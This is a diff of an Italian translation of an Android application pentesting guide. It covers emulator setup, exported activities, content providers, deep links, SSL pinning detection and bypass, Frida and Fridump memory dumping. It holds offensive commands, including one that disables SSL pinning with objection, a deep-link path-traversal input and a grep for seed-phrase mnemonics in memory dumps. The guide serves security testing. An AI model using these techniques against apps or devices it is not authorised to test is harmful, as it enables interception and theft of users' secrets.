how an apk is behaving. +Puoi creare un **account gratuito** su: [https://appetize.io/](https://appetize.io/). Questa piattaforma ti permette di **upload** e **execute** APKs, quindi è utile per vedere come si comporta un apk. -You can even **see the logs of your application** in the web and connect through **adb**. +Puoi anche **vedere i log della tua applicazione** sul web e connetterti tramite **adb**. ![](<../../images/image (831).png>) -Thanks to the ADB connection you can use **Drozer** and **Frida** inside the emulators. +Grazie alla connessione ADB puoi usare **Drozer** e **Frida** all'interno degli emulatori. -### Local Dynamic Analysis +### Analisi dinamica locale -#### Using an emulator +#### Usare un emulatore -- [**Android Studio**](https://developer.android.com/studio) (You can create **x86** and **arm** devices, and according to [**this** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**latest x86** versions **support ARM libraries** without needing an slow arm emulator). -- Learn to set it up in this page: +- [**Android Studio**](https://developer.android.com/studio) (Puoi creare **x86** e **arm** devices, e secondo [**this** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**latest x86** versions **support ARM libraries** senza bisogno di un emulatore arm lento). +- Impara a configurarlo in questa pagina: {{#ref}} avd-android-virtual-device.md {{#endref}} -- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Free version:** Personal Edition, you need to create an account. _It's recommend to **download** the version **WITH**_ _**VirtualBox** to avoid potential errors._) -- [**Nox**](https://es.bignox.com) (Free, but it doesn't support Frida or Drozer). +- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Versione gratuita:** Personal Edition, devi creare un account. _Si raccomanda di **download** la versione **WITH** _**VirtualBox** per evitare errori potenziali._) +- [**Nox**](https://es.bignox.com) (Gratuito, ma non supporta Frida o Drozer). > [!TIP] -> Quando crei un nuovo emulator su qualsiasi piattaforma ricorda che più grande è lo schermo, più lento sarà l'emulator. Quindi seleziona schermi piccoli se possibile. +> Quando crei un nuovo emulatore su qualsiasi piattaforma ricorda che più grande è lo schermo, più lento sarà l'emulatore. Quindi seleziona schermi piccoli se possibile. -To **install google services** (like AppStore) in Genymotion you need to click on the red marked button of the following image: +Per **install google services** (come AppStore) in Genymotion devi cliccare sul pulsante evidenziato in rosso nell'immagine seguente: ![](<../../images/image (277).png>) -Also, notice that in the **configuration of the Android VM in Genymotion** you can select **Bridge Network mode** (this will be useful if you will be connecting to the Android VM from a different VM with the tools). +Inoltre, nota che nella **configurazione della Android VM in Genymotion** puoi selezionare la **Bridge Network mode** (questo sarà utile se ti connetterai alla Android VM da una VM diversa con gli strumenti). -#### Use a physical device +#### Usare un dispositivo fisico -You need to activate the **debugging** options and it will be cool if you can **root** it: +Devi attivare le opzioni di **debugging** e sarebbe utile se riuscissi a **rootarlo**: -1. **Impostazioni**. +1. **Settings**. 2. (Da Android 8.0) Seleziona **System**. -3. Seleziona **Informazioni sul telefono**. -4. Premi **Numero build** 7 volte. -5. Torna indietro e troverai le **Opzioni sviluppatore**. +3. Seleziona **About phone**. +4. Premi **Build number** 7 volte. +5. Torna indietro e troverai le **Developer options**. -> Una volta che hai installato l'applicazione, la prima cosa che dovresti fare è provarla e investigare cosa fa, come funziona e familiarizzare con essa.\ -> Ti suggerisco di **eseguire questa analisi dinamica iniziale usando MobSF dynamic analysis + pidcat**, così saremo in grado di **imparare come funziona l'applicazione** mentre MobSF **cattura** molti **dati** **interessanti** che potrai rivedere in seguito. +> Una volta installata l'applicazione, la prima cosa da fare è provarla e indagare cosa fa, come funziona e familiarizzare con essa.\ +> Suggerisco di **perform this initial dynamic analysis using MobSF dynamic analysis + pidcat**, così potremo **imparare come funziona l'applicazione** mentre MobSF **cattura** molti **dati** **interessanti** che potrai rivedere in seguito. ### Unintended Data Leakage **Logging** -Gli sviluppatori dovrebbero essere cauti nell'esporre **informazioni di debugging** pubblicamente, poiché possono portare a leak di dati sensibili. Gli strumenti [**pidcat**](https://github.com/JakeWharton/pidcat) and `adb logcat` sono raccomandati per monitorare i log dell'applicazione per identificare e proteggere informazioni sensibili. **Pidcat** è preferito per la sua facilità d'uso e leggibilità. +Gli sviluppatori dovrebbero fare attenzione a esporre informazioni di **debugging** pubblicamente, poiché possono portare a leak di dati sensibili. Gli strumenti [**pidcat**](https://github.com/JakeWharton/pidcat) e `adb logcat` sono raccomandati per monitorare i log dell'applicazione per identificare e proteggere informazioni sensibili. **Pidcat** è preferito per la sua facilità d'uso e leggibilità. > [!WARNING] -> Nota che dalle **versioni successive ad Android 4.0**, **le applicazioni sono in grado di accedere solo ai propri log**. Quindi le applicazioni non possono accedere ai log di altre app.\ -> Comunque, è sempre consigliato di **non loggare informazioni sensibili**. +> Nota che da **versioni successive ad Android 4.0**, **le applicazioni possono accedere solo ai propri log**. Quindi le applicazioni non possono accedere ai log di altre app.\ +> Comunque, è sempre raccomandato di **non loggare informazioni sensibili**. **Copy/Paste Buffer Caching** -Il framework **clipboard-based** di Android abilita la funzionalità copia-incolla nelle app, ma rappresenta un rischio poiché **altre applicazioni** possono **accedere** alla clipboard, potenzialmente esponendo dati sensibili. È fondamentale **disabilitare copia/incolla** nelle sezioni sensibili di un'applicazione, come i dettagli della carta di credito, per prevenire leak di dati. +Il framework **clipboard-based** di Android abilita la funzionalità copia-incolla nelle app, ma rappresenta un rischio poiché **altre applicazioni** possono **accedere** agli appunti, potenzialmente esponendo dati sensibili. È fondamentale **disabilitare le funzioni di copia/incolla** per sezioni sensibili dell'applicazione, come i dettagli della carta di credito, per prevenire leak di dati. **Crash Logs** -Se un'applicazione **crasha** e **salva log**, questi log possono aiutare gli attacker, particolarmente quando l'applicazione non può essere reverse-engineerata. Per mitigare questo rischio, evita di loggare in caso di crash, e se i log devono essere trasmessi sulla rete, assicurati che siano inviati tramite un canale SSL per sicurezza. +Se un'applicazione **crasha** e **salva log**, questi log possono aiutare gli attaccanti, in particolare quando l'applicazione non può essere reverse-engineered. Per mitigare questo rischio, evita di loggare nei crash, e se i log devono essere trasmessi in rete, assicurati che siano inviati tramite un canale SSL per sicurezza. -Come pentester, **prova a dare un'occhiata a questi logs**. +Come pentester, **cerca di dare un'occhiata a questi log**. **Analytics Data Sent To 3rd Parties** -Le applicazioni spesso integrano servizi come Google Adsense, che possono involontariamente **leak sensitive data** a causa di implementazioni improprie da parte degli sviluppatori. Per identificare potenziali data leaks, è consigliabile **intercettare il traffico dell'applicazione** e verificare se informazioni sensibili vengono inviate a servizi di terze parti. +Le applicazioni spesso integrano servizi come Google Adsense, che possono involontariamente causare leak di dati sensibili a causa di una cattiva implementazione da parte degli sviluppatori. Per identificare potenziali leak di dati, è consigliabile **intercettare il traffico dell'applicazione** e controllare se informazioni sensibili vengono inviate a servizi di terze parti. ### SQLite DBs -La maggior parte delle applicazioni userà **database SQLite interni** per salvare informazioni. Durante il pentest dai un'occhiata ai **database** creati, ai nomi delle **tabelle** e delle **colonne** e a tutti i **dati** salvati perché potresti trovare **informazioni sensibili** (che sarebbero una vulnerabilità).\ -I database dovrebbero trovarsi in `/data/data/the.package.name/databases` come `/data/data/com.mwr.example.sieve/databases` +La maggior parte delle applicazioni userà **database SQLite interni** per salvare informazioni. Durante il pentest dai un'occhiata ai **databases** creati, ai nomi delle **tabelle** e **colonne** e a tutti i **dati** salvati perché potresti trovare **informazioni sensibili** (che costituirebbero una vulnerabilità).\ +I database dovrebbero essere localizzati in `/data/data/the.package.name/databases` come `/data/data/com.mwr.example.sieve/databases` -Se il database salva informazioni confidenziali ed è **encrypted** ma puoi **trovare** la **password** all'interno dell'applicazione è comunque una **vulnerabilità**. +Se il database salva informazioni confidenziali ed è **crittografato** ma puoi **trovare** la **password** all'interno dell'applicazione, è comunque una **vulnerabilità**. -Enumera le tabelle usando `.tables` ed enumera le colonne delle tabelle con `.schema ` +Enumera le tabelle usando `.tables` e enumera le colonne delle tabelle eseguendo `.schema ` ### Drozer (Exploit Activities, Content Providers and Services) -From [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** permette di **assumere il ruolo di un'app Android** e interagire con altre app. Può fare **qualsiasi cosa che un'app installata può fare**, come utilizzare il meccanismo di Inter-Process Communication (IPC) di Android e interagire con il sistema operativo sottostante. .\ -Drozer è uno strumento utile per **sfruttare exported activities, exported services e Content Providers** come imparerai nelle sezioni seguenti. +Dalla [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** ti permette di **assumere il ruolo di un'app Android** e interagire con altre app. Può fare **qualsiasi cosa che un'applicazione installata può fare**, come fare uso del meccanismo di Inter-Process Communication (IPC) di Android e interagire con il sistema operativo sottostante.\ +Drozer è uno strumento utile per **exploit exported activities, exported services and Content Providers** come imparerai nelle sezioni seguenti. -### Exploiting exported Activities +### Sfruttare le exported Activities [**Read this if you want to refresh what is an Android Activity.**](android-applications-basics.md#launcher-activity-and-other-activities)\ -Ricorda anche che il codice di un activity inizia nel metodo **`onCreate`**. +Ricorda inoltre che il codice di un'activity inizia nel metodo **`onCreate`**. **Authorisation bypass** -Quando un Activity è exported puoi invocare la sua schermata da un'app esterna. Pertanto, se un activity con **informazioni sensibili** è **exported** potresti **bypassare** i meccanismi di **autenticazione** **per accedervi.** +Quando un'Activity è exported puoi invocarne la schermata da un'app esterna. Pertanto, se un'activity con **informazioni sensibili** è **exported** potresti **bypassare** i meccanismi di **autenticazione** per **accedervi.** [**Learn how to exploit exported activities with Drozer.**](drozer-tutorial/index.html#activities) -Puoi anche avviare un activity esportato da adb: +Puoi anche avviare un'activity exported tramite adb: - PackageName is com.example.demo - Exported ActivityName is com.example.test.MainActivity ```bash adb shell am start -n com.example.demo/com.example.test.MainActivity ``` -**NOTA**: MobSF rileverà come malevolo l'uso di _**singleTask/singleInstance**_ come `android:launchMode` in un'attività, ma a causa di [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), apparentemente questo è pericoloso solo su versioni più vecchie (API versions < 21). +**NOTA**: MobSF rileverà come malevolo l'uso di _**singleTask/singleInstance**_ come `android:launchMode` in un'activity, ma a causa di [questo](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), apparentemente questo è pericoloso solo su versioni vecchie (API versions < 21). > [!TIP] -> Nota che un authorisation bypass non è sempre una vulnerabilità: dipende da come funziona il bypass e quali informazioni vengono esposte. +> Nota che un bypass di autorizzazione non è sempre una vulnerabilità; dipende da come funziona il bypass e quali informazioni vengono esposte. **Perdita di informazioni sensibili** -**Le Activities possono anche restituire risultati**. Se riesci a trovare un'attività esportata e non protetta che chiama il metodo **`setResult`** e **restituisce informazioni sensibili**, c'è una perdita di informazioni sensibili. +**Le Activity possono anche restituire risultati**. Se riesci a trovare un'activity esportata e non protetta che chiama il metodo **`setResult`** e **restituisce informazioni sensibili**, c'è una perdita di informazioni sensibili. #### Tapjacking -Se il Tapjacking non è prevenuto, potresti abusare dell'attività esportata per far sì che **l'utente esegua azioni inaspettate**. Per maggiori informazioni su [**per saperne di più su Tapjacking segui il link**](#tapjacking). +Se il Tapjacking non è prevenuto, potresti abusare dell'activity esportata per far eseguire all'utente **azioni inaspettate**. Per maggiori informazioni su [**cos'è Tapjacking segui il link**](#tapjacking). ### Exploiting Content Providers - Accessing and manipulating sensitive information [**Leggi questo se vuoi rinfrescare cos'è un Content Provider.**](android-applications-basics.md#content-provider)\ -I content providers sono fondamentalmente usati per **condividere dati**. Se un'app ha content providers disponibili potresti essere in grado di **estrarre dati sensibili** da essi. È anche interessante testare possibili **SQL injections** e **Path Traversals** in quanto potrebbero essere vulnerabili. +I Content Provider sono fondamentalmente usati per **condividere dati**. Se un'app ha content provider disponibili potresti essere in grado di **estrarre dati sensibili** da essi. È anche interessante testare possibili **SQL injections** e **Path Traversals** poiché potrebbero essere vulnerabili. -[**Scopri come sfruttare Content Providers con Drozer.**](drozer-tutorial/index.html#content-providers) +[**Scopri come sfruttare i Content Providers con Drozer.**](drozer-tutorial/index.html#content-providers) ### **Exploiting Services** [**Leggi questo se vuoi rinfrescare cos'è un Service.**](android-applications-basics.md#services)\ Ricorda che le azioni di un Service iniziano nel metodo `onStartCommand`. -Un service è fondamentalmente qualcosa che **può ricevere dati**, **elaborarli** e **restituire** (o meno) una risposta. Quindi, se un'applicazione esporta dei services dovresti **controllare** il **codice** per capire cosa sta facendo e **testarlo** **dinamicamente** per estrarre info confidenziali, bypassare misure di autenticazione...\ -[**Scopri come sfruttare Services con Drozer.**](drozer-tutorial/index.html#services) +Un Service è fondamentalmente qualcosa che **può ricevere dati**, **elaborarli** e **restituire** (o meno) una risposta. Quindi, se un'applicazione espone dei service dovresti **controllare** il **codice** per capire cosa sta facendo e **testarlo** **dinamicamente** per estrarre informazioni riservate, bypassare misure di autenticazione...\ +[**Scopri come sfruttare i Service con Drozer.**](drozer-tutorial/index.html#services) ### **Exploiting Broadcast Receivers** [**Leggi questo se vuoi rinfrescare cos'è un Broadcast Receiver.**](android-applications-basics.md#broadcast-receivers)\ Ricorda che le azioni di un Broadcast Receiver iniziano nel metodo `onReceive`. -Un broadcast receiver attenderà un tipo di messaggio. A seconda di come il receiver gestisce il messaggio, potrebbe essere vulnerabile.\ -[**Scopri come sfruttare i Broadcast Receivers con Drozer.**](#exploiting-broadcast-receivers) +Un Broadcast Receiver attenderà un tipo di messaggio. A seconda di come il receiver gestisce il messaggio, potrebbe essere vulnerabile.\ +[**Scopri come sfruttare i Broadcast Receiver con Drozer.**](#exploiting-broadcast-receivers) ### **Exploiting Schemes / Deep links** -Puoi cercare deep links manualmente, usando tool come MobSF o script come [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\ +Puoi cercare deep links manualmente, usando strumenti come MobSF o script come [questo](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\ Puoi **aprire** uno **scheme** dichiarato usando **adb** o un **browser**: ```bash adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name] ``` -_Nota che puoi **omettere il nome del pacchetto** e il dispositivo mobile chiamerà automaticamente l'app che dovrebbe aprire quel link._ +_Nota che puoi **omettere il nome del package** e il dispositivo mobile chiamerà automaticamente l'app che dovrebbe aprire quel link._ ```html Click me with alternative ``` -**Code executed** +**Codice eseguito** Per trovare il **codice che verrà eseguito nell'App**, vai all'activity chiamata dal deeplink e cerca la funzione **`onNewIntent`**. ![](<../../images/image (436) (1) (1) (1).png>) -**Sensitive info** +**Informazioni sensibili** -Ogni volta che trovi un deep link verifica che **non riceva dati sensibili (come password) tramite parametri URL**, perché qualsiasi altra applicazione potrebbe **impersonare il deep link e rubare quei dati!** +Ogni volta che trovi un deep link verifica che **non stia ricevendo dati sensibili (come passwords) tramite parametri URL**, perché qualsiasi altra applicazione potrebbe **impersonate the deep link and steal that data!** **Parameters in path** -Devi verificare anche se un deep link utilizza un parametro all'interno del path dell'URL come: `https://api.example.com/v1/users/{username}` , in tal caso puoi forzare un path traversal accedendo a qualcosa come: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\ -Nota che se trovi gli endpoint corretti all'interno dell'applicazione potresti essere in grado di causare una **Open Redirect** (se parte del path è usata come nome di dominio), **account takeover** (se puoi modificare i dettagli degli utenti senza CSRF token e il vuln endpoint utilizzava il metodo corretto) e qualsiasi altra vuln. Maggiori [info about this here](http://dphoeniixx.com/2020/12/13-2/). +Devi anche verificare se un deep link sta usando un parametro all'interno del path dell'URL come: `https://api.example.com/v1/users/{username}` , in tal caso puoi forzare un path traversal accedendo a qualcosa come: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\ +Nota che se trovi gli endpoint corretti all'interno dell'applicazione potresti essere in grado di causare un **Open Redirect** (se parte del path è usata come domain name), **account takeover** (se puoi modificare i dettagli degli utenti senza token CSRF e l'endpoint vuln usa il metodo corretto) e qualsiasi altra vuln. More [info about this here](http://dphoeniixx.com/2020/12/13-2/). **More examples** -Un interessante report di bug bounty su link (_/.well-known/assetlinks.json_). +Un [interesting bug bounty report](https://hackerone.com/reports/855618) about links (_/.well-known/assetlinks.json_). ### Transport Layer Inspection and Verification Failures -- **I certificati non vengono sempre ispezionati correttamente** dalle applicazioni Android. È comune che queste applicazioni ignorino avvisi e accettino certificati self-signed o, in alcuni casi, tornino a usare connessioni HTTP. -- **Le negoziazioni durante lo SSL/TLS handshake sono talvolta deboli**, impiegando cipher suite insicuri. Questa vulnerabilità rende la connessione suscettibile ad attacchi MITM, permettendo agli attaccanti di decrittare i dati. -- **Leakage of private information** è un rischio quando le applicazioni si autenticano usando canali sicuri ma poi comunicano su canali non sicuri per altre transazioni. Questo approccio non protegge dati sensibili, come cookie di sessione o dettagli utente, dall'intercettazione da parte di entità malevole. +- **Certificates are not always inspected properly** by Android applications. È comune che queste applicazioni ignorino gli avvisi e accettino certificati self-signed o, in alcuni casi, tornino a utilizzare connessioni HTTP. +- **Negotiations during the SSL/TLS handshake are sometimes weak**, impiegando cipher suites non sicure. Questa vulnerabilità rende la connessione suscettibile ad attacchi man-in-the-middle (MITM), permettendo agli attaccanti di decrittare i dati. +- **Leakage of private information** è un rischio quando le applicazioni si autenticano usando canali sicuri ma poi comunicano su canali non sicuri per altre transazioni. Questo approccio non protegge i dati sensibili, come session cookies o dettagli utente, dall'intercettazione da parte di entità malintenzionate. #### Certificate Verification -Ci concentreremo sulla **verifica dei certificati**. L'integrità del certificato del server deve essere verificata per aumentare la sicurezza. Questo è cruciale perché configurazioni TLS insicure e la trasmissione di dati sensibili su canali non cifrati possono rappresentare rischi significativi. Per passaggi dettagliati su come verificare i certificati del server e risolvere le vulnerabilità, [**this resource**](https://manifestsecurity.com/android-application-security-part-10/) fornisce una guida completa. +Ci concentreremo sulla **certificate verification**. L'integrità del certificato del server deve essere verificata per aumentare la sicurezza. Questo è cruciale perché configurazioni TLS insicure e la trasmissione di dati sensibili su canali non cifrati possono rappresentare rischi significativi. Per passaggi dettagliati su come verificare i certificati server e risolvere le vulnerabilità, [**questa risorsa**](https://manifestsecurity.com/android-application-security-part-10/) fornisce una guida completa. #### SSL Pinning @@ -426,23 +426,23 @@ SSL Pinning è una misura di sicurezza in cui l'applicazione verifica il certifi #### Traffic Inspection -Per ispezionare il traffico HTTP, è necessario **installare il certificato dello strumento proxy** (es. Burp). Senza installare questo certificato, il traffico cifrato potrebbe non essere visibile tramite il proxy. Per una guida sull'installazione di una CA personalizzata, [**click here**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine). +Per ispezionare il traffico HTTP, è necessario **installare il certificato dello strumento proxy** (es. Burp). Senza installare questo certificato, il traffico cifrato potrebbe non essere visibile tramite il proxy. Per una guida su come installare un certificato CA personalizzato, [**clicca qui**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine). -Le applicazioni con target **API Level 24 e superiori** richiedono modifiche al Network Security Config per accettare il certificato CA del proxy. Questo passaggio è critico per ispezionare il traffico cifrato. Per istruzioni su come modificare il Network Security Config, [**refer to this tutorial**](make-apk-accept-ca-certificate.md). +Le applicazioni che targettizzano **API Level 24 and above** richiedono modifiche al Network Security Config per accettare il certificato CA del proxy. Questo passaggio è critico per ispezionare il traffico cifrato. Per istruzioni su come modificare il Network Security Config, [**consulta questo tutorial**](make-apk-accept-ca-certificate.md). -Se viene usato **Flutter** devi seguire le istruzioni in [**this page**](flutter.md). Questo perché, semplicemente aggiungendo il certificato nello store non funzionerà, dato che Flutter ha la propria lista di CA valide. +Se viene usato **Flutter** devi seguire le istruzioni in [**questa pagina**](flutter.md). Questo perché aggiungere semplicemente il certificato nello store non funzionerà poiché Flutter ha la propria lista di CA valide. #### Static detection of SSL/TLS pinning -Prima di tentare bypass a runtime, mappa rapidamente dove il pinning è applicato nell'APK. La scoperta statica ti aiuta a pianificare hook/patch e a concentrarti sui percorsi di codice giusti. +Prima di tentare bypass runtime, mappa rapidamente dove il pinning è applicato nell'APK. La scoperta statica ti aiuta a pianificare hook/patch e a concentrarti sui corretti code paths. Tool: SSLPinDetect -- Open-source static-analysis utility che decompila l'APK in Smali (via apktool) e scansiona pattern regex curati delle implementazioni di SSL/TLS pinning. -- Riporta il percorso file esatto, il numero di riga e uno snippet di codice per ogni match. -- Copre framework comuni e percorsi di codice custom: OkHttp CertificatePinner, custom javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init con custom TrustManagers/KeyManagers, e Network Security Config XML pins. +- Utility open-source di static-analysis che decompila l'APK in Smali (via apktool) e scansiona pattern regex curati di implementazioni di pinning SSL/TLS. +- Riporta il file path esatto, il numero di linea e uno snippet di codice per ogni match. +- Copre framework comuni e code path custom: OkHttp CertificatePinner, custom javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init with custom TrustManagers/KeyManagers, e pin nel Network Security Config XML. -Install -- Prereqs: Python >= 3.8, Java on PATH, apktool +Installazione +- Prerequisiti: Python >= 3.8, Java on PATH, apktool ```bash git clone https://github.com/aancw/SSLPinDetect cd SSLPinDetect @@ -456,8 +456,8 @@ python sslpindetect.py -f app.apk -a apktool.jar # Verbose (timings + per-match path:line + snippet) python sslpindetect.py -a apktool_2.11.0.jar -f sample/app-release.apk -v ``` -Esempio di regole pattern (JSON) -Usa o estendi signatures per rilevare stili proprietari/custom di pinning. Puoi caricare il tuo JSON e scansionare su larga scala. +Esempio di regole di pattern (JSON) +Usa o estendi le signatures per rilevare stili di pinning proprietari/custom. Puoi caricare il tuo JSON e eseguire scan su larga scala. ```json { "OkHttp Certificate Pinning": [ @@ -471,43 +471,43 @@ Usa o estendi signatures per rilevare stili proprietari/custom di pinning. Puoi ] } ``` -Note e suggerimenti -- Scansione rapida su grandi app tramite multi-threading e memory-mapped I/O; regex pre-compilata riduce overhead/falsi positivi. +Note e consigli +- Fast scanning on large apps via multi-threading and memory-mapped I/O; pre-compiled regex reduces overhead/false positives. - Pattern collection: https://github.com/aancw/smali-sslpin-patterns -- Tipici target di rilevamento da esaminare subito: +- Typical detection targets to triage next: - OkHttp: CertificatePinner usage, setCertificatePinner, okhttp3/okhttp package references - Custom TrustManagers: javax.net.ssl.X509TrustManager, checkServerTrusted overrides - Custom SSL contexts: SSLContext.getInstance + SSLContext.init with custom managers - Declarative pins in res/xml network security config and manifest references -- Usa le posizioni trovate per pianificare Frida hooks, patch statiche o revisioni di config prima dei test dinamici. +- Use the matched locations to plan Frida hooks, static patches, or config reviews before dynamic testing. -#### Bypassare SSL Pinning +#### Bypass SSL Pinning -Quando SSL Pinning è implementato, diventa necessario bypassarlo per ispezionare il traffico HTTPS. Sono disponibili varie metodologie per questo scopo: +Quando SSL Pinning è implementato, bypassarlo diventa necessario per ispezionare il traffico HTTPS. Sono disponibili diversi metodi per questo scopo: -- Modificare automaticamente l'apk per bypassare SSLPinning con [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Il vantaggio principale di questa opzione è che non avrai bisogno dei permessi di root per bypassare SSL Pinning, ma dovrai disinstallare l'applicazione e reinstallare quella modificata, e questo non funzionerà sempre. -- Puoi usare **Frida** (discussa sotto) per bypassare questa protezione. Qui trovi una guida per usare Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/) -- Puoi anche provare a bypassare automaticamente SSL Pinning usando [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"` -- Puoi anche provare a bypassare automaticamente SSL Pinning usando **MobSF dynamic analysis** (spiegato sotto) -- Se pensi ancora che ci sia traffico che non stai catturando, puoi provare a inoltrare il traffico a Burp usando iptables. Leggi questo blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62) +- Automatically **modify** the **apk** to **bypass** SSLPinning with [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). The best pro of this option, is that you won't need root to bypass the SSL Pinning, but you will need to delete the application and reinstall the new one, and this won't always work. +- You could use **Frida** (discussed below) to bypass this protection. Here you have a guide to use Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/) +- You can also try to **automatically bypass SSL Pinning** using [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"` +- You can also try to **automatically bypass SSL Pinning** using **MobSF dynamic analysis** (explained below) +- If you still think that there is some traffic that you aren't capturing you can try to **forward the traffic to burp using iptables**. Read this blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62) -#### Ricerca di vulnerabilità web comuni +#### Looking for Common Web Vulnerabilities -È importante cercare anche vulnerabilità web comuni all'interno dell'applicazione. Informazioni dettagliate su come identificare e mitigare queste vulnerabilità esulano dal riassunto qui presente ma sono trattate estensivamente altrove. +È importante cercare anche vulnerabilità web comuni all'interno dell'applicazione. Informazioni dettagliate sull'identificazione e la mitigazione di queste vulnerabilità sono oltre lo scopo di questo sommario ma sono ampiamente trattate altrove. ### Frida -[Frida](https://www.frida.re) è un toolkit di instrumentazione dinamica per sviluppatori, reverse-engineer e ricercatori di sicurezza.\ -**Puoi accedere all'applicazione in esecuzione e hookare metodi a run time per cambiare il comportamento, modificare valori, estrarre valori, eseguire codice differente...**\ -Se vuoi fare pentesting di applicazioni Android devi sapere come usare Frida. +[Frida](https://www.frida.re) è un toolkit di strumentazione dinamica per sviluppatori, analisti di reverse engineering e ricercatori di sicurezza.\ +**Puoi accedere all'applicazione in esecuzione e hook methods on run time to change the behaviour, change values, extract values, run different code...**\ +Se vuoi fare pentest di applicazioni Android devi sapere come usare Frida. -- Impara a usare Frida: [**Frida tutorial**](frida-tutorial/index.html) -- Alcune "GUI" per operazioni con Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security) +- Impara come usare Frida: [**Frida tutorial**](frida-tutorial/index.html) +- Some "GUI" for actions with Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security) - Ojection is great to automate the use of Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon) -- Puoi trovare alcuni Awesome Frida scripts qui: [**https://codeshare.frida.re/**](https://codeshare.frida.re) -- Prova a bypassare meccanismi anti-debugging / anti-frida caricando Frida come indicato in [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (tool [linjector](https://github.com/erfur/linjector-rs)) +- You can find some Awesome Frida scripts here: [**https://codeshare.frida.re/**](https://codeshare.frida.re) +- Try to bypass anti-debugging / anti-frida mechanisms loading Frida as in indicated in [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (tool [linjector](https://github.com/erfur/linjector-rs)) #### Anti-instrumentation & SSL pinning bypass workflow @@ -515,11 +515,11 @@ Se vuoi fare pentesting di applicazioni Android devi sapere come usare Frida. android-anti-instrumentation-and-ssl-pinning-bypass.md {{#endref}} -### **Dump Memory - Fridump** +### **Dump della memoria - Fridump** -Verifica se l'applicazione sta memorizzando informazioni sensibili nella memoria che non dovrebbe conservare, come password o mnemoniche. +Controlla se l'applicazione sta memorizzando informazioni sensibili nella memoria che non dovrebbe memorizzare, come password o mnemonics. -Using [**Fridump3**](https://github.com/rootbsd/fridump3) you can dump the memory of the app with: +Usando [**Fridump3**](https://github.com/rootbsd/fridump3) puoi eseguire il dump della memoria dell'app con: ```bash # With PID python3 fridump3.py -u @@ -528,35 +528,35 @@ python3 fridump3.py -u frida-ps -Uai python3 fridump3.py -u "" ``` -Questo eseguirà il dump della memoria nella cartella ./dump, e lì puoi usare grep con qualcosa come: +Questo eseguirà il dump della memoria nella cartella ./dump, e lì puoi usare grep con qualcosa del tipo: ```bash strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+$" ``` ### **Dati sensibili nel Keystore** -Su Android il Keystore è il posto migliore per conservare dati sensibili, tuttavia, con privilegi sufficienti è ancora **possibile accedervi**. Poiché le applicazioni tendono a memorizzare qui **dati sensibili in chiaro**, i pentests dovrebbero controllarlo, dato che un root user o qualcuno con accesso fisico al dispositivo potrebbe riuscire a rubare questi dati. +In Android il Keystore è il posto migliore per memorizzare dati sensibili, tuttavia, con privilegi sufficienti è ancora **possibile accedervi**. Poiché le applicazioni tendono a memorizzare qui **dati sensibili in chiaro**, i pentest dovrebbero verificarne la presenza in quanto un utente root o qualcuno con accesso fisico al dispositivo potrebbe essere in grado di rubare questi dati. -Anche se un'app memorizzasse dati nel keystore, i dati dovrebbero essere cifrati. +Anche se un'app memorizza dati nel keystore, i dati dovrebbero essere crittografati. -Per accedere ai dati all'interno del keystore puoi usare questo Frida script: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js) +Per accedere ai dati all'interno del keystore puoi usare questo script Frida: 